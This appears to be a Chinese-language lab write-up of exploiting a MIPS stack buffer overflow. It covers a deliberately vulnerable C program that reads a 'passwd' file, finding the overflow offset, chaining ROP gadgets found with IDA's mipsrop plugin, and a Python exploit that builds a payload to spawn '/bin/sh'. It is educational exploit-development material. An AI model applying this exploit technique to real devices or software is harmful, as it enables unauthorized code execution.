程序分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
#include <stdio.h>
#include <sys/stat.h>
#include <unistd.h>

void do_system(int code,char *cmd)
{
char buf[255];
//sleep(1);
system(cmd);
}

void main()
{
char buf[256]={0};
char ch;
int count = 0;
unsigned int fileLen = 0;
struct stat fileData;
FILE *fp;

if(0 == stat("passwd",&fileData))
fileLen = fileData.st_size;
else
return 1;

if((fp = fopen("passwd","rb")) == NULL)
{
printf("Cannot open file passwd!\n");
exit(1);
}
ch=fgetc(fp);
while(count <= fileLen)
{
buf[count++] = ch;
ch = fgetc(fp);
}
buf[--count] = '\x00';

if(!strcmp(buf,"adminpwd"))
{
do_system(count,"ls -l");
}
else
{
printf("you have an invalid password!\n");
}
fclose(fp);
}

首先分析程序逻辑得出

运行程序后从passwd中读取内容,判断是否为adminpwd

而读取数据的buf只有256大小,但是我们却可以在passwd中填充n个数据,因此便造成了栈溢出

为具体确定程序的溢出点,我们可以使用cyclic生成大量有序的字符输入到passwd中,再由程序读取passwd文件时因为溢出而引出的段错误来根据有序字符确定栈底距离$ra的大小

通过ida动态调试来看寄存器$ra的值

再次尝试进行验证,填充264个字符后在跟上1234,可以看到程序的$ra$pc都已经指向了1234

利用过程

之后我们尝试拼接程序中的gadget,来让程序以某种顺序依次执行我们想要他执行的代码

可以根据书中,按如下结构构造payload

其中我们可以利用ida中的mipsrop插件来寻找相应的gadgets,来让我们需要用到的参数放到对应的寄存器中

之后在IDA中定位到这一段,可以看到首先是将栈空间减少了0x58的大小,意味着我们如果要用该gadget则至少要向伪造的栈空间中填充0x58个字符(包含binsh字符串)才可以保持堆栈平衡,其次要考虑的便是参数所处的位置

重点在addiu $a1,$sp,0x54+var_3c 这一段,构造的payload结构如下

1
0x108 + gadget+0x18+"binsh\x00"+0x38 + system_addr+0x4

需要注意一点的是不能直接在ida中找do_system的地址,否则程序回调到其他位置,可以直接在gdb中直接打印do_system的地址即可

最后运行exp,在运行程序溢出反弹shell成功!

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import struct
from pwn import *
log.info("shellcode for `vuln_system`")
payload = cyclic(264)
payload += struct.pack(">L",0x00401D40)
#| 0x0040F048 | addiu $a0,$sp,0x48+var_30 | jr 0x48+var_4($sp)
payload += "b"*0x18
payload += "/bin/sh\x00"
# payload += struct.pack(">L",0x00407CA0)# binsh_addr
payload += "c"*(0x3c-len("/bin/sh\x00"))
payload += struct.pack(">L",0x400390) # jal do_system_0
payload += "dddd"

fw = open('passwd','w')
fw.write(payload)
fw.close()
success("ok~")